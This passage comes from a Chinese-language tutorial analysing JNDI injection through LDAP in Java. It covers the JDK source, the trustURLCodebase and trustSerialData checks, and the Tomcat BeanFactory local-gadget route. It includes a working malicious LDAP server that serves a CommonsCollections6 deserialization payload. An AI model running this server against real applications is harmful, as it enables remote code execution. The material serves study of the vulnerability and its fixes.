    逻辑跟前面的 JNDI-RMI 的一致(等价于 (new InitialContext()).lookup("rmi://localhost:1099/exploit");),既可以用远程类加载也可以用反序列化,因此比较鸡肋。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    /*
    * 目录中以 RMI 对象的方式存放时,常见属性为:
    * javaClassName → 期望的对象类型(通常写远程接口类名)
    * javaRemoteLocation → RMI 对象的位置 URL(通过 RMI Registry 访问)
    * javaCodebase → 可选,类的 codebase(此分支里被忽略)
    *
    * 函数返回“RMI 位置 URL”封装成的 Reference。
    * 之后由 getObjectInstance() 再把它解析成真正的 RMI 对象(stub)。
    * 注意:此方式已废弃,仅作向后兼容。
    */
    private static Object decodeRmiObject(String className,
    String rmiName, String[] codebases) throws NamingException {
    // 构造一个 javax.naming.Reference:
    // - 目标类型:className(JNDI 语义上的目标类)
    // - 地址项:StringRefAddr,类型键为 "URL",值为 rmiName(形如 rmi://host:port/name)
    // 没有提供工厂类名/位置;交由通用 URL 上下文工厂去处理这个 "URL" 地址。
    return new Reference(className, new StringRefAddr("URL", rmiName));
    }


    // 上层调用处(来自 decodeObject(...) 的分支 2):
    // 当检测到 LDAP 条目里有 javaRemoteLocation 时,取出:
    // - javaClassName → 作为 className
    // - javaRemoteLocation → 作为 rmiName
    // 并调用 decodeRmiObject(...) 生成 Reference 返回。
    return decodeRmiObject(
    (String) attrs.get(JAVA_ATTRIBUTES[CLASSNAME]).get(),
    (String) attr.get(), // 这里的 attr 即 javaRemoteLocation
    codebases);
  • javaNamingReference 分支 :如果 objectClass 属性的值设置为 javaNamingReference 则调用 decodeReference 构造 Reference 对象。

    decodeReference 会根据 javaClassNamejavaFactoryjavaCodeBase 构造一个 Reference 对象,因此我们在 LDAP 的 entry 中要设置这三个属性。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    /*
    * 从若干 LDAP 属性还原出一个 Reference 对象
    * (对应 JNDI-LDAP 的 javaNamingReference 分支)
    */
    private static Reference decodeReference(Attributes attrs,
    String[] codebases) throws NamingException, IOException {

    Attribute attr;
    String className;
    String factory = null;

    // 读取目标类名(javaClassName)——必填,否则抛出属性不合法异常
    if ((attr = attrs.get(JAVA_ATTRIBUTES[CLASSNAME])) != null) {
    className = (String) attr.get();
    } else {
    throw new InvalidAttributesException(JAVA_ATTRIBUTES[CLASSNAME] +
    " attribute is required");
    }

    // 读取工厂类名(javaFactory)
    if ((attr = attrs.get(JAVA_ATTRIBUTES[FACTORY])) != null) {
    factory = (String) attr.get();
    }

    // 构造基本 Reference:
    // - 第1个参数:目标类名(最终要还原成的类型)
    // - 第2个参数:工厂类名(实现 ObjectFactory)
    // - 第3个参数:工厂类位置(factoryLocation / codebase),此处只取 codebases[0]
    Reference ref = new Reference(
    className,
    factory,
    (codebases != null ? codebases[0] : null)
    );

    /*
    * 解析地址项(RefAddr)的字符串编码:
    *
    * 每个地址值有两种编码形式(二选一):
    *
    * 1) 文本形式:
    * #posn#<type>#<address>
    * - posn : 插入位置(整数,下标),用于 Reference.add(posn, addr)
    * - <type> : 地址类型(RefAddr.getType()),如 "endpoint"、"url" 等
    * - <address>: 文本内容,作为 StringRefAddr 的内容
    *
    * 2) Base64 二进制形式:
    * #posn#<type>##<base64-encoded address>
    * - 末尾是 “##” 再跟 base64,解码后作为 BinaryRefAddr 的字节内容
    *
    * 注意:REF_ADDR 属性通常是“多值”属性(即可能有多条),需要逐条解析并按 posn 插入。
    */
    if ((attr = attrs.get(JAVA_ATTRIBUTES[REF_ADDR])) != null) {
    // [...]
    }

    // 返回构造完成的 Reference;后续会交由 ObjectFactory 进行还原
    return ref;
    }

由于这里是利用 JNDI 的 References 机制进行远程类加载,因此走的是第三个分支。之后会调用 javax.naming.spi.DirectoryManager 的静态方法 getObjectInstance 来获取 decodeRmiObject 返回的 Reference 对应的对象实例。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
/**
* 包可见;由 DirectoryManager 和 NamingManager 使用的全局“工厂构建器”。
* 若注册了它,优先通过它来生成 ObjectFactory(而不是走默认查找流程)。
*/
private static ObjectFactoryBuilder object_factory_builder = null;

/**
* 访问全局 ObjectFactoryBuilder 的同步 getter。
*/
static synchronized ObjectFactoryBuilder getObjectFactoryBuilder() {
return object_factory_builder;
}

/**
* 根据 refInfo + attrs 等信息“生成一个对象实例”的总入口(面向目录服务)。
* 与 NamingManager.getObjectInstance 类似,但支持 DirObjectFactory,并把 Attributes 也传入。
*
* 典型调用场景:JNDI 提供者(如 LDAP)拿到条目后,交给这里尝试:
* - 若是 Reference/Referenceable:按 Reference 指定的工厂去实例化
* - 若注册了自定义工厂/构建器:按注册顺序尝试
* - 若都不成功:返回原 refInfo(或目录上下文)本身
*/
public static Object
getObjectInstance(Object refInfo, Name name, Context nameCtx,
Hashtable<?,?> environment, Attributes attrs)
throws Exception {

ObjectFactory factory;

// 1) 若存在全局 ObjectFactoryBuilder,则优先用它创建“专用”的 ObjectFactory
// ✅ 这里默认为 null
ObjectFactoryBuilder builder = getObjectFactoryBuilder();
if (builder != null) {
// [...]
}

// 2) 尝试把 refInfo 视为 Reference(或 Referenceable)
// Reference:JNDI 的“延迟还原说明书”
// Referenceable:提供 getReference() 的对象,效果等同上
Reference ref = null;
if (refInfo instanceof Reference) {
ref = (Reference) refInfo;
} else if (refInfo instanceof Referenceable) {
ref = ((Referenceable) (refInfo)).getReference();
}

Object answer;

if (ref != null) {
// 3) 若 Reference 明确指定了“工厂类名”(factoryClassName),按规范:
// —— 这是一个“专用工厂”指示,应“仅用它”去构造对象(exclusive)
String f = ref.getFactoryClassName();
if (f != null) {
// 从 Reference 中按类名 f 加载/创建工厂(可能涉及本地 classpath 或 codebase)
factory = getObjectFactoryFromReference(ref, f); // 👈 关键:专用工厂加载
// [...]
}
// [...]
}
// [...]
}

getObjectInstance 默认情况下会调用 getObjectFactoryFromReference 获取并加载工厂类。

这里要注意的是前面 JNDI-RMI 远程加载类是在 com.sun.jndi.rmi.registry.RegistryContext#decodeObject 添加的 trustURLCodebase 检查,随后该函数调用了 getObjectFactoryFromReference 获取并加载工厂类。

getObjectFactoryFromReference 函数本身并没有 trustURLCodebase 检查,因此使用 JNDI-LDAP 代替 JNDI-RMI 利用 JNDI 的 References 机制远程加载类可以绕过 trustURLCodebase 检查。

8u191开始进行新增了 com.sun.jndi.ldap.object.trustURLCodebase 属性:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// 用于控制“是否允许从任意 URL 的 code base 加载类”的系统属性名
// 对应命令行:-Dcom.sun.jndi.ldap.object.trustURLCodebase=true/false
private static final String TRUST_URL_CODEBASE_PROPERTY =
"com.sun.jndi.ldap.object.trustURLCodebase";

// 读取该系统属性,判断是否允许从任意 URL code base 加载类
// 注意:这里读到的是“字符串”("true"/"false"),不是 boolean。
// 后续代码通常会用 "true".equalsIgnoreCase(trustURLCodebase) 来判断。
private static final String trustURLCodebase =
AccessController.doPrivileged(
new PrivilegedAction<String>() {
public String run() {
// 读取系统属性;若未设置则默认 "false"
// 也就是默认“不信任”远程 URL codebase(8u191+ 的安全默认)
return System.getProperty(TRUST_URL_CODEBASE_PROPERTY, "false");
}
}
);

并且在 com.sun.jndi.ldap.VersionHelper12#loadClass 增加了判断,导致该方法失效。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
/**
* @param className 必填,目标类的“完全限定名”(FQCN),例如 "com.example.EvilFactory"
* @param codebase 必填,空格分隔的一组 URL 字符串,用作类加载的搜索路径
* 典型来源是 LDAP 条目里的 "javaCodeBase"
*/
public Class<?> loadClass(String className, String codebase)
throws ClassNotFoundException, MalformedURLException {

// 仅当系统属性 com.sun.jndi.ldap.object.trustURLCodebase 被设置为 "true" 时,
// 才允许从任意 URL codebase 下载并加载类(8u191+ 默认是 false)
if ("true".equalsIgnoreCase(trustURLCodebase)) {

// 以“线程上下文类加载器”作为父加载器(TCCL:当前线程关联的 ClassLoader)
ClassLoader parent = getContextClassLoader();

// 基于 codebase 构造一个 URLClassLoader
// 注:getUrlArray(codebase) 会把用空格分隔的多个 URL 解析成 URL[]
ClassLoader cl =
URLClassLoader.newInstance(getUrlArray(codebase), parent);

// 使用上面这个含远程 URL 的 ClassLoader 去加载目标类
// 这个重载通常会调用 Class.forName(className, false, cl) 或等价逻辑
return loadClass(className, cl);

} else {
// 未开启信任远程 codebase:这里直接返回 null,表示“不要做远程加载”
// 上层调用方据此会改走其它路径(例如尝试从本地 classpath 找工厂类,
// 或放弃 Reference 分支并返回/抛错)
return null;
}
}

反序列化(17.0.13、11.0.25、8u461 前)

前面提到 com.sun.jndi.ldap.Obj#decodeObject 有三个分支,其中对于 javaSerializedData 分支,若条目包含序列化字节属性 javaSerializedData 则会调用 deserializeObject 函数将其反序列化。

1
2
3
4
5
6
7
// —— 📌 分支 1:javaSerializedData —— //
// 若条目包含序列化字节("javaSerializedData"),则按该 codebase 构造类加载器,
// 用它来反序列化成对象(需要能解析到类定义)。
if ((attr = attrs.get(JAVA_ATTRIBUTES[SERIALIZED_DATA])) != null) {
ClassLoader cl = helper.getURLClassLoader(codebases); // 可能返回 URLClassLoader 或 null
return deserializeObject((byte[]) attr.get(), cl);
}

deserializeObject 逻辑很简单,就是直接将字节数组 obj 反序列化成一个对象返回,而这里 obj 实际上就是前面的 javaSerializedData 属性的值。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
/*
* 将字节数组反序列化为对象。
* @param obj 承载 Java 序列化数据的字节数组(通常来自 javaSerializedData)
* @param cl 反序列化时用于解析类的 ClassLoader;为 null 则使用默认解析逻辑
* @return 反序列化得到的对象
* @throws NamingException 将底层的 IO/ClassNotFound 异常包装为 JNDI 的命名异常抛出
*/
private static Object deserializeObject(byte[] obj, ClassLoader cl)
throws NamingException {

try {
// 用字节数组构造一个输入流,作为反序列化的数据来源
ByteArrayInputStream bytes = new ByteArrayInputStream(obj);

// try-with-resources:确保对象输入流在读取结束后被自动关闭
try (ObjectInputStream deserial = (cl == null)
// 未指定自定义类加载器:使用标准的 ObjectInputStream,
// 其默认的类解析逻辑(resolveClass)由 JVM 决定
? new ObjectInputStream(bytes)
// 指定了自定义类加载器:使用 LoaderInputStream 包装,
// 其 resolveClass 会优先用传入的 cl 去加载类(避免依赖默认加载器)
: new LoaderInputStream(bytes, cl)) {

// 读取一个对象
return deserial.readObject();

} catch (ClassNotFoundException e) {
// 反序列化过程中找不到所需类:转换为 NamingException 并附带根因
NamingException ne = new NamingException();
ne.setRootCause(e);
throw ne;
}
} catch (IOException e) {
// 反序列化过程中发生 I/O 异常(流损坏、版本不匹配等):
// 同样包装为 NamingException 抛出
NamingException ne = new NamingException();
ne.setRootCause(e);
throw ne;
}
}

因此我们只需要将 LDAP 服务器的 entry 中的 javaSerializedData 设置为反序列化数据即可完成利用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
import com.unboundid.ldap.listener.*;
import com.unboundid.ldap.listener.interceptor.*;
import com.unboundid.ldap.sdk.*;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;

/**
* JNDI-LDAP 反序列化服务器(javaSerializedData 分支,PoC 用)
* - 使用 UnboundID 内存型 LDAP 服务器
* - 拦截任意 search 请求,直接返回携带 javaSerializedData 的条目
* - 客户端 JNDI-LDAP 提供者若按对象解析,将对该字节流进行反序列化
* <p>
* 注意:
* - 本分支与远程 codebase 无关(不受 com.sun.jndi.ldap.object.trustURLCodebase 影响)
* - 现代 JDK 通常启用了 JEP 290 反序列化过滤,可能直接拦截该负载
* - 这里固定回 DN=BASE 的条目,省事但不“像真服”(忽略请求的 baseDN/scope)
*/
public class LDAPServer {
// 目录根 DN(条目的“住址”根),客户端最好以此为 baseDN 查询
private static final String BASE = "dc=example,dc=com";
// 演示端口(标准 LDAP 明文是 389,PoC 常用不冲突的 1389)
private static final int PORT = 1389;

public static void main(String[] args) throws Exception {
// 1) 准备反序列化字节(示例使用 CommonsCollections6 链)
byte[] payload = CommonsCollections6.getPayload("calc");

// 2) 以 BASE 为根创建内存 LDAP 配置
InMemoryDirectoryServerConfig cfg = new InMemoryDirectoryServerConfig(BASE);

// 3) 启用 IPv4 监听
cfg.setListenerConfigs(
new InMemoryListenerConfig(
"v4", // 监听器名字
InetAddress.getByName("0.0.0.0"), // 监听地址(IPv4 全接口)
PORT, // 监听端口
ServerSocketFactory.getDefault(), // 明文 server socket 工厂
SocketFactory.getDefault(), // client socket 工厂(一般用不到)
(SSLSocketFactory) SSLSocketFactory.getDefault() // 可用于 StartTLS/LDAPS,这里未启用
)
);

// 4) 注册拦截器:拦截 search 并直接回“包含序列化数据”的条目
cfg.addInMemoryOperationInterceptor(new SerializedInterceptor(payload));

// 5) 启动内存服务器
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(cfg);
System.out.println("[*] LDAP listening on 0.0.0.0:" + PORT);
ds.startListening();
}

/**
* 搜索结果拦截器:
* - 不管客户端查什么 DN,一律返回一个固定 DN=BASE 的条目
* - 条目属性使用“javaSerializedObject”编码(携带 javaSerializedData)
*/
static class SerializedInterceptor extends InMemoryOperationInterceptor {
private final Entry entry;

SerializedInterceptor(byte[] payload) {
// 固定使用 BASE 作为返回条目的 DN(PoC 简化;真实服务器通常回请求里的 DN)
this.entry = new Entry(BASE);
// 提示类名(非强约束,大多实现不严格校验)
entry.addAttribute("javaClassName", "java.lang.Object");
// 关键:承载 Java 序列化对象的字节数组
entry.addAttribute("javaSerializedData", payload);
}

@Override
public void processSearchResult(InMemoryInterceptedSearchResult result) {
try {
// 直接把预构建条目作为搜索结果返回(忽略请求的 baseDN / scope)
result.sendSearchEntry(entry);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
} catch (Exception ex) {
ex.printStackTrace();
}
}
}
}

攻击过程如下:

sequenceDiagram
    autonumber

    %% ── 客户端(本机进程) ──
    box rgb(230,242,255) 客户端(进程)
      participant App as Client 应用 💻
      participant IC as InitialContext
      participant LURL as ldapURLContext
      participant LCtx as LdapCtx
      participant OBJ as Obj
    end

    %% ── 目录服务(远端) ──
    box rgb(232,245,233) LDAP 服务器
      participant LDAP as LDAP 服务 📇
    end

    %% 1) JNDI 访问 LDAP
    App->>IC: lookup ldap://localhost:1389/exploit
    IC->>LURL: 选择 LDAP 提供者
    LURL->>LCtx: c_lookup

    %% 2) 返回包含序列化数据的条目
    LCtx->>LDAP: search base=exploit scope=OBJECT filter=(objectClass=*)
    LDAP-->>LCtx: 返回条目 含 javaSerializedData 和 javaClassName

    %% 3) decodeObject 进入 javaSerializedData 分支
    LCtx->>OBJ: decodeObject

    %% 4) 反序列化分支 对比修复
    alt 允许反序列化 版本在 17.0.13 11.0.25 8u461 之前 或 设置 trustSerialData=true 🔓
      OBJ->>OBJ: deserializeObject 读取对象
      OBJ->>OBJ: ObjectInputStream.readObject 
      note right of OBJ: 🚨触发链反序列化链
    else 禁止反序列化 17.0.13 11.0.25 8u461 起 且 trustSerialData=false 🔒
      OBJ-->>LCtx: NamingException 不允许反序列化
      LCtx-->>App: lookup 失败 或 安全回退
    end

调用栈如下:

1
2
3
4
5
6
7
8
9
at com.sun.jndi.ldap.Obj.deserializeObject(Obj.java:531)
at com.sun.jndi.ldap.Obj.decodeObject(Obj.java:239)
at com.sun.jndi.ldap.LdapCtx.c_lookup(LdapCtx.java:1051)
at com.sun.jndi.toolkit.ctx.ComponentContext.p_lookup(ComponentContext.java:542)
at com.sun.jndi.toolkit.ctx.PartialCompositeContext.lookup(PartialCompositeContext.java:177)
at com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:205)
at com.sun.jndi.url.ldap.ldapURLContext.lookup(ldapURLContext.java:94)
at javax.naming.InitialContext.lookup(InitialContext.java:417)
at org.example.Client.main(Client.java:9)

从 JDK8u461 开始 com.sun.jndi.ldap.Obj#decodeObject 的逻辑变了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
/*
* 从 LDAP Attribute 集合中“解码”为 Java 对象。
* 支持的三种形态(按优先级依次判断):
* 1) 序列化对象(javaSerializedData)
* 2) 远程位置(javaRemoteLocation)——返回一个 RMI 远程对象桩(仅为兼容保留)
* 3) JNDI Reference(基于 ObjectFactory 进行还原)
*
* 说明:
* - 所有分支都会先解析 codebase(class 下载位置),随后按需用于类加载。
* - VersionHelper12.isSerialDataAllowed() 是“反序列化允许”的安全开关,
* 若关闭则直接拒绝 1) 和 2) 这两种会触发反序列化的路径。
* - 具体属性名通过 JAVA_ATTRIBUTES[...] 常量访问,例如:
* CODEBASE / SERIALIZED_DATA / REMOTE_LOC / OBJECT_CLASS / CLASSNAME 等。
*/
static Object decodeObject(Attributes attrs) throws NamingException {

Attribute attr;

// 解析 codebase(类加载的 URL 列表)。供所有路径使用。
String[] codebases = getCodebases(attrs.get(JAVA_ATTRIBUTES[CODEBASE]));

try {
// ① 优先分支:存在序列化数据(javaSerializedData)
if ((attr = attrs.get(JAVA_ATTRIBUTES[SERIALIZED_DATA])) != null) {
// 安全闸:是否允许进行反序列化
if (!VersionHelper12.isSerialDataAllowed()) {
throw new NamingException("Object deserialization is not allowed");
}
// 基于 codebase 构造 URLClassLoader(可能涉及远程加载)
ClassLoader cl = helper.getURLClassLoader(codebases);
// 将属性里的字节数组反序列化为对象(使用上面的类加载器)
return deserializeObject((byte[]) attr.get(), cl);

// ② 兼容分支:存在 javaRemoteLocation(历史用途,用于创建 RMI stub)
} else if ((attr = attrs.get(JAVA_ATTRIBUTES[REMOTE_LOC])) != null) {
// 该路径同样会触发反序列化安全检查
if (!VersionHelper12.isSerialDataAllowed()) {
throw new NamingException("Object deserialization is not allowed");
}
// 为了“向后兼容”保留的逻辑:根据类名 + 远程位置构造 RMI 对象
// CLASSNAME: 目标类名;REMOTE_LOC: 远程位置字符串
return decodeRmiObject(
(String) attrs.get(JAVA_ATTRIBUTES[CLASSNAME]).get(),
(String) attr.get(),
codebases);
}

// ③ Reference 分支:objectClass 包含 "javaNamingReference"(或其小写)
attr = attrs.get(JAVA_ATTRIBUTES[OBJECT_CLASS]);
if (attr != null &&
(attr.contains(JAVA_OBJECT_CLASSES[REF_OBJECT]) ||
attr.contains(JAVA_OBJECT_CLASSES_LOWER[REF_OBJECT]))) {
// 将 LDAP 条目按 Reference 语义解析,并交由 ObjectFactory 还原为对象
return decodeReference(attrs, codebases);
}

// 未匹配到任何已知形态,返回 null
return null;

} catch (IOException e) {
// I/O 异常统一包装为 NamingException,并记录根因
NamingException ne = new NamingException();
ne.setRootCause(e);
throw ne;
}
}

javaSerializedDatajavaRemoteLocation 两个分支中都增加了反序列化的限制代码

1
2
3
if (!VersionHelper12.isSerialDataAllowed()) {
throw new NamingException("Object deserialization is not allowed");
}

isSerialDataAllowed 函数返回的是 trustSerialData 属性。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
/**
* 返回是否允许从 LDAP 属性中进行对象的“反序列化/重构”。
* 受控的三类属性包括:
* - 'javaSerializedData' (直接反序列化对象字节)
* - 'javaRemoteLocation' (历史兼容:基于远程位置重构 RMI 对象)
* - 'javaReferenceAddress' (Reference 中的地址可携带序列化内容)
*
* @return true 表示允许;false 表示一律拒绝(抛 NamingException)
*/
public static boolean isSerialDataAllowed() {
// 关键总开关:由类中的静态布尔量 trustSerialData 决定
// trustSerialData 一般在类初始化时从“系统/安全属性”读取并缓存,
// 典型属性名:com.sun.jndi.ldap.object.trustSerialData
return trustSerialData;
}

trustSerialData 属性的值由 com.sun.jndi.ldap.object.trustSerialData 系统属性觉得,初始化方式跟之前的 trustURLCodebase 类似,都是在静态代码块初始化的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
// 控制是否信任“任意 URL codebase”去加载类的系统属性(影响是否创建 URLClassLoader 等)
private static final String TRUST_URL_CODEBASE_PROPERTY =
"com.sun.jndi.ldap.object.trustURLCodebase";

// 控制是否允许从下列 LDAP 属性中“反序列化/重构”对象:
// 1) javaSerializedData
// 2) javaRemoteLocation(历史兼容,用于 RMI stub)
// 3) javaReferenceAddress(Reference 的地址里可能嵌序列化内容)
private static final String TRUST_SERIAL_DATA_PROPERTY =
"com.sun.jndi.ldap.object.trustSerialData";

/**
* true 表示允许从上述 3 类属性进行反序列化或对象重构;
* false 表示一律不允许(在 decodeObject() 等路径直接抛 NamingException)。
*/
private static final boolean trustSerialData;

// true 表示允许从任意 URL codebase 加载类;false 表示禁用远程 codebase。
private static final boolean trustURLCodebase;

static {
// 读取系统属性 com.sun.jndi.ldap.object.trustURLCodebase,默认 "false"
String trust = getPrivilegedProperty(TRUST_URL_CODEBASE_PROPERTY, "false");
trustURLCodebase = "true".equalsIgnoreCase(trust);

// 读取系统属性 com.sun.jndi.ldap.object.trustSerialData,默认 "false"
String trustSDString = getPrivilegedProperty(TRUST_SERIAL_DATA_PROPERTY, "false");
trustSerialData = "true".equalsIgnoreCase(trustSDString);
}

本地类利用

前面利用 JNDI 的References 机制进行远程类加载的时候,最终都是利用 javax.naming.spi.NamingManager#getObjectFactoryFromReference 方法实现的。

但是从 JDK8u131 和 JDK8u191 开始,JNDI-RMI 和 JNDI-LDAP 分别增加了 com.sun.jndi.rmi.object.trustURLCodebasecom.sun.jndi.ldap.object.trustURLCodebase 两个现在,导致 JNDI 注入无法通过远程类加载来实现 RCE。

然而 javax.naming.spi.NamingManager#getObjectFactoryFromReference 不光是远程类加载,该方法在远程加载工厂类之前还会尝试从本地 classpath 加载类。因此我们可以尝试从本地寻找可用类。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
/**
* 根据 Reference 中记录的“工厂类名 + 可选的 codebase(工厂位置)”来加载工厂类,
* 并返回该工厂类的实例(必须实现 ObjectFactory,且具备 public 无参构造)。
*
* 加载顺序(失败则回退):
* 1) 先用“当前/默认”的类加载器尝试加载 factoryName;
* 2) 若不在本地 classpath,再读取 ref.getFactoryClassLocation()(codebase),
* 通过该位置尝试加载(例如 http/file/ftp 等);
* —— 若成功则返回实例;若仍失败则返回 null。
*
* @param ref 非空;包含工厂类名与可选 codebase 的 Reference
* @param factoryName 非空;工厂类的完全限定名(FQCN)
* @return 成功则返回工厂实例;否则返回 null(未能加载工厂)
* @throws IllegalAccessException 无权访问无参构造时抛出
* @throws InstantiationException 抽象类/接口或构造失败时抛出
* @throws MalformedURLException codebase 字符串不是合法 URL 时抛出
*/
static ObjectFactory getObjectFactoryFromReference(
Reference ref, String factoryName)
throws IllegalAccessException, InstantiationException, MalformedURLException {

Class<?> clas = null;

// 1) 优先使用当前(上下文)类加载器加载工厂类
try {
clas = helper.loadClass(factoryName); // VersionHelper 抽象了不同 JDK 的装载细节
} catch (ClassNotFoundException e) {
// 忽略,转而尝试 codebase 路径
// e.printStackTrace();
}
// 其余异常(如安全限制)不在此处吞掉,直接向上抛出

// 2) 若本地未找到且 Reference 指定了工厂位置(codebase),
// 则基于该 codebase 再次尝试加载
String codebase;
if (clas == null && (codebase = ref.getFactoryClassLocation()) != null) {
try {
clas = helper.loadClass(factoryName, codebase);
} catch (ClassNotFoundException e) {
// 仍找不到则保持 clas=null,稍后返回 null
}
}

// 3) 成功加载则实例化并返回;否则返回 null
return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
}

无论是 RMI 还是 LDAP 在调用 getObjectFactoryFromReference 获取到 javax.naming.spi.ObjectFactory 接口实例之后都会调用实例的 getObjectInstance 方法,并且传入 Reference 对象。

  • RMI 的 javax.naming.spi.NamingManager

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    // 尽量把 refInfo 规范化为 Reference:
    // - 如果本身就是 Reference:直接使用;
    // - 如果实现了 Referenceable:通过 getReference() 取出其 Reference 表示。
    Reference ref = null;
    if (refInfo instanceof Reference) {
    ref = (Reference) refInfo;
    } else if (refInfo instanceof Referenceable) {
    ref = ((Referenceable)(refInfo)).getReference();
    }

    // [...]

    if (ref != null) {
    // 从 Reference 中取“工厂类名”
    String f = ref.getFactoryClassName();
    if (f != null) {
    // 根据 ref 从本地 classpath 加载工厂类
    factory = getObjectFactoryFromReference(ref, f);
    if (factory != null) {
    // 成功加载到工厂:把 Reference 与 name/nameCtx/environment 传给工厂,
    // 由工厂的 getObjectInstance(...) 生成最终对象并返回。
    return factory.getObjectInstance(ref, name, nameCtx, environment);
    }
    // [...]
    }
    // [...]
    }
  • LDAP 的 javax.naming.spi.DirectoryManager#getObjectInstance

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    Reference ref = null;
    if (refInfo instanceof Reference) {
    ref = (Reference) refInfo;
    } else if (refInfo instanceof Referenceable) {
    ref = ((Referenceable)(refInfo)).getReference();
    }

    // [...]

    if (ref != null) {
    String f = ref.getFactoryClassName();
    if (f != null) {
    factory = getObjectFactoryFromReference(ref, f);
    // 目录服务专用分支:若为 DirObjectFactory,则调用带 Attributes 的重载
    if (factory instanceof DirObjectFactory) {
    return ((DirObjectFactory)factory).getObjectInstance(
    ref, name, nameCtx, environment, attrs);
    } else if (factory != null) {
    return factory.getObjectInstance(ref, name, nameCtx,
    environment);
    }
    // [...]
    }
    // [...]
    }

由于 Reference 对象是从我们的恶意 RMI/LDAP 服务器获取的,因此该对象中的工厂类名classFactory)是我们可控的,并且我们还何以往 Reference 对象中添加 RefAddr 参数,用来控制工厂类创建对象过程。

因此我们需要寻找合适的实现 javax.naming.spi.ObjectFactory 接口的合适对象来完成利用。

目前公开常用的利用方法是通过 Tomcat 的 去调用 javax.el.ELProcessor#eval 方法或 groovy.lang.GroovyShell#evaluate 方法。

org.apache.naming.factory.BeanFactory 是 Tomcat 自带的一个 JNDI “对象工厂”(ObjectFactory。它的职责是——当应用在 JNDI 里 lookup() 一个条目时,按 JavaBean 规范创建目标对象(必须有无参构造器、setXxx(...) 风格的属性写入方法),再把 <Resource ...>Reference 里声明的属性逐个注入到这个对象上,最后把实例返回给调用者。

org.apache.naming.ResourceRef.BeanFactory#getObjectInstance 函数实现如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
/**
* 根据 JNDI 的引用(Reference/ResourceRef)创建并配置一个 JavaBean 实例。
*
* 主要流程:
* 1) 判断 obj 是否为 ResourceRef;若不是则返回 null(交由其他工厂处理)。
* 2) 从引用中取出目标 Bean 的类名,使用 TCL(线程上下文类加载器)或系统类加载器加载。
* 3) 通过 Introspector 获取 Bean 的属性描述信息。
* 4) 通过无参构造方法创建 Bean 实例。
* 5) 解析特殊条目 "forceString":允许指定某些属性强制使用 String 类型的 setter(包括自定义 setter 名)。
* 6) 遍历引用中的各个 RefAddr 条目,按属性名匹配并将字符串值转换为目标属性的类型,再调用对应 setter 注入。
* 7) 各类异常转换为 NamingException 抛出;对致命错误(ThreadDeath / VirtualMachineError)原样抛出。
*
* @param obj 描述 Bean 的引用对象(通常为 ResourceRef)
*/
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx,
Hashtable<?,?> environment)
throws NamingException {

// 仅处理 ResourceRef 类型;其他类型返回 null,让其它 ObjectFactory 试图处理
if (obj instanceof ResourceRef) {

try {
// 将传入对象视为通用 JNDI 引用
Reference ref = (Reference) obj;

// 从引用中取出要实例化的 Bean 的类名
String beanClassName = ref.getClassName();

Class<?> beanClass = null;

// 优先使用当前线程的上下文类加载器(TCL)
ClassLoader tcl = Thread.currentThread().getContextClassLoader();
if (tcl != null) {
try {
beanClass = tcl.loadClass(beanClassName);
} catch (ClassNotFoundException e) {
// 吞掉异常,后续尝试使用 Class.forName()
}
} else {
// 没有 TCL 时,使用系统类加载器
try {
beanClass = Class.forName(beanClassName);
} catch (ClassNotFoundException e) {
